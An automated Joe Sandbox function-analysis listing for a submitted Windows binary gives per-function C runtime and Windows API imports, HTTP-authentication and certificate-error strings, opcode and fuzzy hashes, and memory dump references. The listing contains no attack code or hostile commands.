Similarity

API ID: free
String ID:
API String ID: 1294909896-0
Opcode ID: 31be3772069e500a7aef819516f3faf0ac6f02a24d8bfe9d18ec5130e08255e8
Instruction ID: 38f6d20b71f579373d81a48360db7a42645440110b856142cb3bcbd2521b4dbd
Opcode Fuzzy Hash: 31be3772069e500a7aef819516f3faf0ac6f02a24d8bfe9d18ec5130e08255e8
Instruction Fuzzy Hash: 8C51ED31509A8681EB24EF35D8912FDA3A1FF89F94F880132DE5E4B775CE78A6458330

Function 00007FF79B72F1F1 Relevance: 16.6, APIs: 9, Strings: 2, Instructions: 140COMMON

Download Yara Rule

APIs

free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF79B72F0FB
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF79B72F161
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF79B72F16F
calloc.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF79B72F26D
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF79B72F2D6
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF79B72F2EE

Part of subcall function 00007FF79B72E240: _strdup.API-MS-WIN-CRT-STRING-L1-1-0 ref: 00007FF79B72E250

free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF79B72F316
calloc.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF79B72F32D
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF79B72F352
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF79B72F39F
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF79B72F3B4

Part of subcall function 00007FF79B72F4F0: free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?,00007FF79B72E522,?,?,00000000,00007FF79B70562B,?,?,00000000,00007FF79B701073,?,?,00000000,00007FF79B7015F5), ref: 00007FF79B72F4FC
Part of subcall function 00007FF79B72F4F0: free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?,00007FF79B72E522,?,?,00000000,00007FF79B70562B,?,?,00000000,00007FF79B701073,?,?,00000000,00007FF79B7015F5), ref: 00007FF79B72F506
Part of subcall function 00007FF79B72F4F0: free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?,00007FF79B72E522,?,?,00000000,00007FF79B70562B,?,?,00000000,00007FF79B701073,?,?,00000000,00007FF79B7015F5), ref: 00007FF79B72F510
Part of subcall function 00007FF79B72F4F0: free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?,00007FF79B72E522,?,?,00000000,00007FF79B70562B,?,?,00000000,00007FF79B701073,?,?,00000000,00007FF79B7015F5), ref: 00007FF79B72F51A
Part of subcall function 00007FF79B72F4F0: free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?,00007FF79B72E522,?,?,00000000,00007FF79B70562B,?,?,00000000,00007FF79B701073,?,?,00000000,00007FF79B7015F5), ref: 00007FF79B72F524
Part of subcall function 00007FF79B72F4F0: free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?,00007FF79B72E522,?,?,00000000,00007FF79B70562B,?,?,00000000,00007FF79B701073,?,?,00000000,00007FF79B7015F5), ref: 00007FF79B72F52E
Part of subcall function 00007FF79B72F4F0: free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?,00007FF79B72E522,?,?,00000000,00007FF79B70562B,?,?,00000000,00007FF79B701073,?,?,00000000,00007FF79B7015F5), ref: 00007FF79B72F538
Part of subcall function 00007FF79B72F4F0: free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?,00007FF79B72E522,?,?,00000000,00007FF79B70562B,?,?,00000000,00007FF79B701073,?,?,00000000,00007FF79B7015F5), ref: 00007FF79B72F542
Part of subcall function 00007FF79B72F4F0: free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?,00007FF79B72E522,?,?,00000000,00007FF79B70562B,?,?,00000000,00007FF79B701073,?,?,00000000,00007FF79B7015F5), ref: 00007FF79B72F54C
Part of subcall function 00007FF79B72F4F0: free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?,00007FF79B72E522,?,?,00000000,00007FF79B70562B,?,?,00000000,00007FF79B701073,?,?,00000000,00007FF79B7015F5), ref: 00007FF79B72F556
Part of subcall function 00007FF79B72F4F0: free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?,00007FF79B72E522,?,?,00000000,00007FF79B70562B,?,?,00000000,00007FF79B701073,?,?,00000000,00007FF79B7015F5), ref: 00007FF79B72F560

Strings

,, xrefs: 00007FF79B72F234
:, xrefs: 00007FF79B72F217

Memory Dump Source

Source File: 00000000.00000002.2032923730.00007FF79B6E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF79B6E0000, based on PE: true

Associated: 00000000.00000002.2032840820.00007FF79B6E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2032986911.00007FF79B741000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2033004327.00007FF79B758000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2033018286.00007FF79B759000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff79b6e0000_lvXRlexBnb.jbxd

Similarity

API ID: free$calloc$_strdup
String ID: ,$:
API String ID: 2460172880-4193410690
Opcode ID: 720a0cab02216bd014dea907fac7775497998a3dfb4afdeff2ebf6ce69ee974d
Instruction ID: 02949fa76ef0286409a35f2c258b680b173555f01679a6e202fab691b2f34218
Opcode Fuzzy Hash: 720a0cab02216bd014dea907fac7775497998a3dfb4afdeff2ebf6ce69ee974d
Instruction Fuzzy Hash: 6D516312E08A8A42F731AB3D95512BDA391FB5EB88F845736CE8D15672DF6CF2C48310

Function 00007FF79B6FC930 Relevance: 16.6, APIs: 11, Instructions: 119stringCOMMON

Download Yara Rule

APIs

_stat64.API-MS-WIN-CRT-FILESYSTEM-L1-1-0 ref: 00007FF79B6FC977
_access.API-MS-WIN-CRT-FILESYSTEM-L1-1-0 ref: 00007FF79B6FC987
_strdup.API-MS-WIN-CRT-STRING-L1-1-0 ref: 00007FF79B6FC99E
_strdup.API-MS-WIN-CRT-STRING-L1-1-0 ref: 00007FF79B6FCA1A
strrchr.VCRUNTIME140 ref: 00007FF79B6FCA37
strrchr.VCRUNTIME140 ref: 00007FF79B6FCA47
_strdup.API-MS-WIN-CRT-STRING-L1-1-0 ref: 00007FF79B6FCA77
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF79B6FCA83
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF79B6FCA92
_strdup.API-MS-WIN-CRT-STRING-L1-1-0 ref: 00007FF79B6FCAA3
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF79B6FCAB9

Memory Dump Source

Source File: 00000000.00000002.2032923730.00007FF79B6E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF79B6E0000, based on PE: true

Associated: 00000000.00000002.2032840820.00007FF79B6E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2032986911.00007FF79B741000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2033004327.00007FF79B758000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2033018286.00007FF79B759000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff79b6e0000_lvXRlexBnb.jbxd

Similarity

API ID: _strdup$free$strrchr$_access_stat64
String ID:
API String ID: 2557200964-0
Opcode ID: 65c608ef1fe535978de831929790de7b27f3758338418f5053a35891be0bad24
Instruction ID: b98c6aadeba41352ec06dbfbd3f32bc4075259c825b1530b7eb8409d9bc15240
Opcode Fuzzy Hash: 65c608ef1fe535978de831929790de7b27f3758338418f5053a35891be0bad24
Instruction Fuzzy Hash: B9416721709B4A86FA30FB29A491279A2A1FF48B90F844135DE5D477B4EF3CF655C260

Function 00007FF79B701C60 Relevance: 16.4, APIs: 13, Instructions: 164stringCOMMON

Download Yara Rule

APIs

strchr.VCRUNTIME140 ref: 00007FF79B701C98
strchr.VCRUNTIME140 ref: 00007FF79B701CBF
malloc.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF79B701D74
malloc.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF79B701D9A
malloc.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF79B701DBB
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF79B701DCC
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF79B701DD5
memcpy.VCRUNTIME140 ref: 00007FF79B701DF3
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF79B701E07
memcpy.VCRUNTIME140 ref: 00007FF79B701E24
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF79B701E39
memcpy.VCRUNTIME140 ref: 00007FF79B701E51
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF79B701E66

Memory Dump Source

Source File: 00000000.00000002.2032923730.00007FF79B6E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF79B6E0000, based on PE: true

Associated: 00000000.00000002.2032840820.00007FF79B6E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2032986911.00007FF79B741000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2033004327.00007FF79B758000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2033018286.00007FF79B759000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff79b6e0000_lvXRlexBnb.jbxd

Similarity

API ID: free$mallocmemcpy$strchr
String ID:
API String ID: 1615377186-0
Opcode ID: 423932c48b670e7d4c08b2c511fcb01a71418cb138ea8a2e2a5fa0a09370d790
Instruction ID: 76dee44fd02cf3e2260426805ac301095490a49077ecdee60c6e569c5593e4aa
Opcode Fuzzy Hash: 423932c48b670e7d4c08b2c511fcb01a71418cb138ea8a2e2a5fa0a09370d790
Instruction Fuzzy Hash: E651A72570978986DA75AF29A904279E2A1BF4DBC4F884633EE4D07B74DF3CE605C320

Function 00007FF79B703B80 Relevance: 15.9, APIs: 8, Strings: 1, Instructions: 163COMMON

Download Yara Rule

APIs

free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF79B703BC4
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF79B703BD8
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF79B703BFC
_strdup.API-MS-WIN-CRT-STRING-L1-1-0 ref: 00007FF79B703C09
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF79B703C32
_strdup.API-MS-WIN-CRT-STRING-L1-1-0 ref: 00007FF79B703C3F
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF79B703C70
_strdup.API-MS-WIN-CRT-STRING-L1-1-0 ref: 00007FF79B703C7D

Strings

Couldn't find host %s in the .netrc file; using defaults, xrefs: 00007FF79B703D09

Memory Dump Source

Source File: 00000000.00000002.2032923730.00007FF79B6E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF79B6E0000, based on PE: true

Associated: 00000000.00000002.2032840820.00007FF79B6E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2032986911.00007FF79B741000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2033004327.00007FF79B758000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2033018286.00007FF79B759000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff79b6e0000_lvXRlexBnb.jbxd

Similarity

API ID: free$_strdup
String ID: Couldn't find host %s in the .netrc file; using defaults
API String ID: 2653869212-3983049644
Opcode ID: 68ac9eeb43db9e5fab4e5cb7431107d5fc0a2d7964483fdef9680f4b84830d14
Instruction ID: bfd70331d53014d2df22108441db7bae4fd300495630e9b3a7cf56821a719aca
Opcode Fuzzy Hash: 68ac9eeb43db9e5fab4e5cb7431107d5fc0a2d7964483fdef9680f4b84830d14
Instruction Fuzzy Hash: 3271AE22A08A8A86E775AB39D85436AA7A0FB4C744F460237DB4D473B0DF7DE654D330

Function 00007FF79B703B29 Relevance: 15.9, APIs: 8, Strings: 1, Instructions: 150COMMON

Download Yara Rule

APIs

free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF79B703BC4
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF79B703BD8
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF79B703BFC
_strdup.API-MS-WIN-CRT-STRING-L1-1-0 ref: 00007FF79B703C09
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF79B703C32
_strdup.API-MS-WIN-CRT-STRING-L1-1-0 ref: 00007FF79B703C3F
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF79B703C70
_strdup.API-MS-WIN-CRT-STRING-L1-1-0 ref: 00007FF79B703C7D

Strings

Couldn't find host %s in the .netrc file; using defaults, xrefs: 00007FF79B703D09

Memory Dump Source

Source File: 00000000.00000002.2032923730.00007FF79B6E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF79B6E0000, based on PE: true

Associated: 00000000.00000002.2032840820.00007FF79B6E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2032986911.00007FF79B741000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2033004327.00007FF79B758000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2033018286.00007FF79B759000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff79b6e0000_lvXRlexBnb.jbxd

Similarity

API ID: free$_strdup
String ID: Couldn't find host %s in the .netrc file; using defaults
API String ID: 2653869212-3983049644
Opcode ID: 409e8ccf2cd3c48ddd194ed0cbd5bbb9f08e90a8da56c531e43f24badbebf168
Instruction ID: ffda9d4b36027e35f75039e590545e5cf1cf0ac70c381df8b530940e8b556392
Opcode Fuzzy Hash: 409e8ccf2cd3c48ddd194ed0cbd5bbb9f08e90a8da56c531e43f24badbebf168
Instruction Fuzzy Hash: D3618262A08A8686E7259B39D854369A7B0FB4CB44F8A4237CB9D473B0DF3CE555C730

Function 00007FF79B7084A0 Relevance: 15.9, APIs: 5, Strings: 4, Instructions: 112stringCOMMON

Download Yara Rule

APIs

free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?,?,?,00000000,?,00000000,?,Digest,?,00007FF79B71450A), ref: 00007FF79B70851F
strchr.VCRUNTIME140(?,?,?,?,?,00000000,?,00000000,?,Digest,?,00007FF79B71450A), ref: 00007FF79B708571
_strdup.API-MS-WIN-CRT-STRING-L1-1-0(?,?,?,?,?,00000000,?,00000000,?,Digest,?,00007FF79B71450A), ref: 00007FF79B708595
free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?,?,?,00000000,?,00000000,?,Digest,?,00007FF79B71450A), ref: 00007FF79B7085E5
free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?,?,?,00000000,?,00000000,?,Digest,?,00007FF79B71450A), ref: 00007FF79B708628

Strings

%.*s, xrefs: 00007FF79B70857E
Proxy-, xrefs: 00007FF79B7085FB
Digest, xrefs: 00007FF79B7084AB
%sAuthorization: Digest %s, xrefs: 00007FF79B708605

Memory Dump Source

Source File: 00000000.00000002.2032923730.00007FF79B6E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF79B6E0000, based on PE: true

Associated: 00000000.00000002.2032840820.00007FF79B6E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2032986911.00007FF79B741000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2033004327.00007FF79B758000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2033018286.00007FF79B759000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff79b6e0000_lvXRlexBnb.jbxd

Similarity

API ID: free$_strdupstrchr
String ID: %.*s$%sAuthorization: Digest %s$Digest$Proxy-
API String ID: 153040452-3976116069
Opcode ID: 0f0d1023f35f98c3c0a34dc26ceb475acd9aa810923e54976b2dd0c2c34d3d66
Instruction ID: de5d351a33720d7b05963cab627e1d2e22b6cb9d8832d051cfe19d32d8c8ca69
Opcode Fuzzy Hash: 0f0d1023f35f98c3c0a34dc26ceb475acd9aa810923e54976b2dd0c2c34d3d66
Instruction Fuzzy Hash: 66419622609B8992E730AF29E8403AAB760FB49B84F940137DE8D477B5DF7CD656C310

Function 00007FF79B6F1E8A Relevance: 15.8, APIs: 6, Strings: 3, Instructions: 70stringwindowCOMMON

Download Yara Rule

APIs

FormatMessageA.KERNEL32 ref: 00007FF79B6F1DE9
strchr.VCRUNTIME140 ref: 00007FF79B6F1E10
strncpy.API-MS-WIN-CRT-STRING-L1-1-0 ref: 00007FF79B6F22AF
_errno.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 00007FF79B6F22BA
_errno.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 00007FF79B6F22C5
GetLastError.KERNEL32 ref: 00007FF79B6F22CE
SetLastError.KERNEL32 ref: 00007FF79B6F22DA

Strings

SEC_E_CERT_UNKNOWN, xrefs: 00007FF79B6F1E8A
%s (0x%08X), xrefs: 00007FF79B6F1D95
%s - %s, xrefs: 00007FF79B6F2299

Memory Dump Source

Source File: 00000000.00000002.2032923730.00007FF79B6E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF79B6E0000, based on PE: true

Associated: 00000000.00000002.2032840820.00007FF79B6E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2032986911.00007FF79B741000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2033004327.00007FF79B758000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2033018286.00007FF79B759000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff79b6e0000_lvXRlexBnb.jbxd

Similarity

API ID: ErrorLast_errno$FormatMessagestrchrstrncpy
String ID: %s (0x%08X)$%s - %s$SEC_E_CERT_UNKNOWN
API String ID: 600764987-1381340633
Opcode ID: 867b3c2889ea910bc82d5d4d60626029d6c103a08cfe34e10975424c7ee76e4e
Instruction ID: fe2854e1ebb5b991670e1981584af4db8e8752d873cfc215c4e64fc9bd8599d3
Opcode Fuzzy Hash: 867b3c2889ea910bc82d5d4d60626029d6c103a08cfe34e10975424c7ee76e4e
Instruction Fuzzy Hash: 5A31822260C7C585E731AB74A4513AEF7A6FB89741FC40136DA9D02AB5CF3CE604CB20

Function 00007FF79B6F1E7E Relevance: 15.8, APIs: 6, Strings: 3, Instructions: 70stringwindowCOMMON

Download Yara Rule

APIs

FormatMessageA.KERNEL32 ref: 00007FF79B6F1DE9
strchr.VCRUNTIME140 ref: 00007FF79B6F1E10
strncpy.API-MS-WIN-CRT-STRING-L1-1-0 ref: 00007FF79B6F22AF
_errno.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 00007FF79B6F22BA
_errno.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 00007FF79B6F22C5
GetLastError.KERNEL32 ref: 00007FF79B6F22CE
SetLastError.KERNEL32 ref: 00007FF79B6F22DA

Strings

SEC_E_CERT_EXPIRED, xrefs: 00007FF79B6F1E7E
%s (0x%08X), xrefs: 00007FF79B6F1D95
%s - %s, xrefs: 00007FF79B6F2299

Memory Dump Source

Source File: 00000000.00000002.2032923730.00007FF79B6E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF79B6E0000, based on PE: true

Associated: 00000000.00000002.2032840820.00007FF79B6E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2032986911.00007FF79B741000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2033004327.00007FF79B758000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2033018286.00007FF79B759000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff79b6e0000_lvXRlexBnb.jbxd

Similarity

API ID: ErrorLast_errno$FormatMessagestrchrstrncpy
String ID: %s (0x%08X)$%s - %s$SEC_E_CERT_EXPIRED
API String ID: 600764987-3862749013
Opcode ID: e21ee0f88ee939b7acd86ddd09091f8135850e0e83f13a8bc41a40d40aa2e6f4
Instruction ID: cefcae1064261aefe8f67d95967cc877c082a8cd728859821f146626b1f0356b
Opcode Fuzzy Hash: e21ee0f88ee939b7acd86ddd09091f8135850e0e83f13a8bc41a40d40aa2e6f4
Instruction Fuzzy Hash: 1C31822260C7C985E731AB74A4513AEF7A6FB89741FC40136DA9D02AB5CF3CE644CB20

Function 00007FF79B6F1E72 Relevance: 15.8, APIs: 6, Strings: 3, Instructions: 70stringwindowCOMMON

Download Yara Rule

APIs

FormatMessageA.KERNEL32 ref: 00007FF79B6F1DE9
strchr.VCRUNTIME140 ref: 00007FF79B6F1E10
strncpy.API-MS-WIN-CRT-STRING-L1-1-0 ref: 00007FF79B6F22AF
_errno.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 00007FF79B6F22BA
_errno.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 00007FF79B6F22C5
GetLastError.KERNEL32 ref: 00007FF79B6F22CE
SetLastError.KERNEL32 ref: 00007FF79B6F22DA

Strings

SEC_E_CANNOT_PACK, xrefs: 00007FF79B6F1E72
%s (0x%08X), xrefs: 00007FF79B6F1D95
%s - %s, xrefs: 00007FF79B6F2299

Memory Dump Source

Source File: 00000000.00000002.2032923730.00007FF79B6E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF79B6E0000, based on PE: true

Associated: 00000000.00000002.2032840820.00007FF79B6E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2032986911.00007FF79B741000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2033004327.00007FF79B758000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2033018286.00007FF79B759000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff79b6e0000_lvXRlexBnb.jbxd

Similarity

API ID: ErrorLast_errno$FormatMessagestrchrstrncpy
String ID: %s (0x%08X)$%s - %s$SEC_E_CANNOT_PACK
API String ID: 600764987-1502336670
Opcode ID: 22f5f913cf0be7411f16a76cd575f268f1e4d73e328349b01835e54fb8980df1
Instruction ID: 43f3074adf9bf10ee520f47e554c0a45974cae87e5c8585217e30daa1bcc3d62
Opcode Fuzzy Hash: 22f5f913cf0be7411f16a76cd575f268f1e4d73e328349b01835e54fb8980df1
Instruction Fuzzy Hash: D731822260C7C985E731AB74A4513AEF7A6FB89741FC40136DA9D02AB5CF3CE604CB20

Function 00007FF79B6F1E66 Relevance: 15.8, APIs: 6, Strings: 3, Instructions: 70stringwindowCOMMON

Download Yara Rule

APIs

FormatMessageA.KERNEL32 ref: 00007FF79B6F1DE9
strchr.VCRUNTIME140 ref: 00007FF79B6F1E10
strncpy.API-MS-WIN-CRT-STRING-L1-1-0 ref: 00007FF79B6F22AF
_errno.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 00007FF79B6F22BA
_errno.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 00007FF79B6F22C5
GetLastError.KERNEL32 ref: 00007FF79B6F22CE
SetLastError.KERNEL32 ref: 00007FF79B6F22DA

Strings

SEC_E_CANNOT_INSTALL, xrefs: 00007FF79B6F1E66
%s (0x%08X), xrefs: 00007FF79B6F1D95
%s - %s, xrefs: 00007FF79B6F2299

Memory Dump Source

Source File: 00000000.00000002.2032923730.00007FF79B6E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF79B6E0000, based on PE: true

Associated: 00000000.00000002.2032840820.00007FF79B6E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2032986911.00007FF79B741000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2033004327.00007FF79B758000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2033018286.00007FF79B759000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff79b6e0000_lvXRlexBnb.jbxd

Similarity

API ID: ErrorLast_errno$FormatMessagestrchrstrncpy
String ID: %s (0x%08X)$%s - %s$SEC_E_CANNOT_INSTALL
API String ID: 600764987-2628789574
Opcode ID: d674bc91ab309861c4f229d8fb5e2326304ccee02d36cd07337ee2d10ece94b6
Instruction ID: d9454d7977374813989c5e107b6e04f4b566ae9cf825bb76bb0f19a331b5ab72
Opcode Fuzzy Hash: d674bc91ab309861c4f229d8fb5e2326304ccee02d36cd07337ee2d10ece94b6
Instruction Fuzzy Hash: A631822260C7C585E731AB74A4513AEF7A6FB89741FC40136DA9D02AB5CF3CE644CB20

Function 00007FF79B6F1E5A Relevance: 15.8, APIs: 6, Strings: 3, Instructions: 70stringwindowCOMMON

Download Yara Rule

APIs

FormatMessageA.KERNEL32 ref: 00007FF79B6F1DE9
strchr.VCRUNTIME140 ref: 00007FF79B6F1E10
strncpy.API-MS-WIN-CRT-STRING-L1-1-0 ref: 00007FF79B6F22AF
_errno.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 00007FF79B6F22BA
_errno.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 00007FF79B6F22C5
GetLastError.KERNEL32 ref: 00007FF79B6F22CE
SetLastError.KERNEL32 ref: 00007FF79B6F22DA

Strings

SEC_E_BUFFER_TOO_SMALL, xrefs: 00007FF79B6F1E5A
%s (0x%08X), xrefs: 00007FF79B6F1D95
%s - %s, xrefs: 00007FF79B6F2299

Memory Dump Source

Source File: 00000000.00000002.2032923730.00007FF79B6E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF79B6E0000, based on PE: true

Associated: 00000000.00000002.2032840820.00007FF79B6E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2032986911.00007FF79B741000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2033004327.00007FF79B758000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2033018286.00007FF79B759000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff79b6e0000_lvXRlexBnb.jbxd

Similarity

API ID: ErrorLast_errno$FormatMessagestrchrstrncpy
String ID: %s (0x%08X)$%s - %s$SEC_E_BUFFER_TOO_SMALL
API String ID: 600764987-1965992168
Opcode ID: 21007d3461f6208895004d40506dbe1f915b5f9fd6c49eefa50c2d29984a337d
Instruction ID: 0d30da54ebc22dff43044df7d64482dd1bbaf61849f2da3ed74635eaf87a2a53
Opcode Fuzzy Hash: 21007d3461f6208895004d40506dbe1f915b5f9fd6c49eefa50c2d29984a337d
Instruction Fuzzy Hash: 4531822260C7C585E731AB74A4513AEF7A6FB89741FC40136DA9D02AB5CF3CE604CB20

Function 00007FF79B6F1E4E Relevance: 15.8, APIs: 6, Strings: 3, Instructions: 70stringwindowCOMMON

Download Yara Rule

APIs

FormatMessageA.KERNEL32 ref: 00007FF79B6F1DE9
strchr.VCRUNTIME140 ref: 00007FF79B6F1E10
strncpy.API-MS-WIN-CRT-STRING-L1-1-0 ref: 00007FF79B6F22AF
_errno.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 00007FF79B6F22BA
_errno.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 00007FF79B6F22C5
GetLastError.KERNEL32 ref: 00007FF79B6F22CE
SetLastError.KERNEL32 ref: 00007FF79B6F22DA

Strings

SEC_E_BAD_PKGID, xrefs: 00007FF79B6F1E4E
%s (0x%08X), xrefs: 00007FF79B6F1D95
%s - %s, xrefs: 00007FF79B6F2299

Memory Dump Source

Source File: 00000000.00000002.2032923730.00007FF79B6E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF79B6E0000, based on PE: true

Associated: 00000000.00000002.2032840820.00007FF79B6E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2032986911.00007FF79B741000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2033004327.00007FF79B758000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2033018286.00007FF79B759000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff79b6e0000_lvXRlexBnb.jbxd

Similarity

API ID: ErrorLast_errno$FormatMessagestrchrstrncpy
String ID: %s (0x%08X)$%s - %s$SEC_E_BAD_PKGID
API String ID: 600764987-1052566392
Opcode ID: 040bb05f0cf7cd9878106aad1305948eb5ac86463c693ab4e214be405d518435
Instruction ID: a131641f257aed01173986fb2a0a7d982341c461d3f79cc76df0438ef18be529
Opcode Fuzzy Hash: 040bb05f0cf7cd9878106aad1305948eb5ac86463c693ab4e214be405d518435
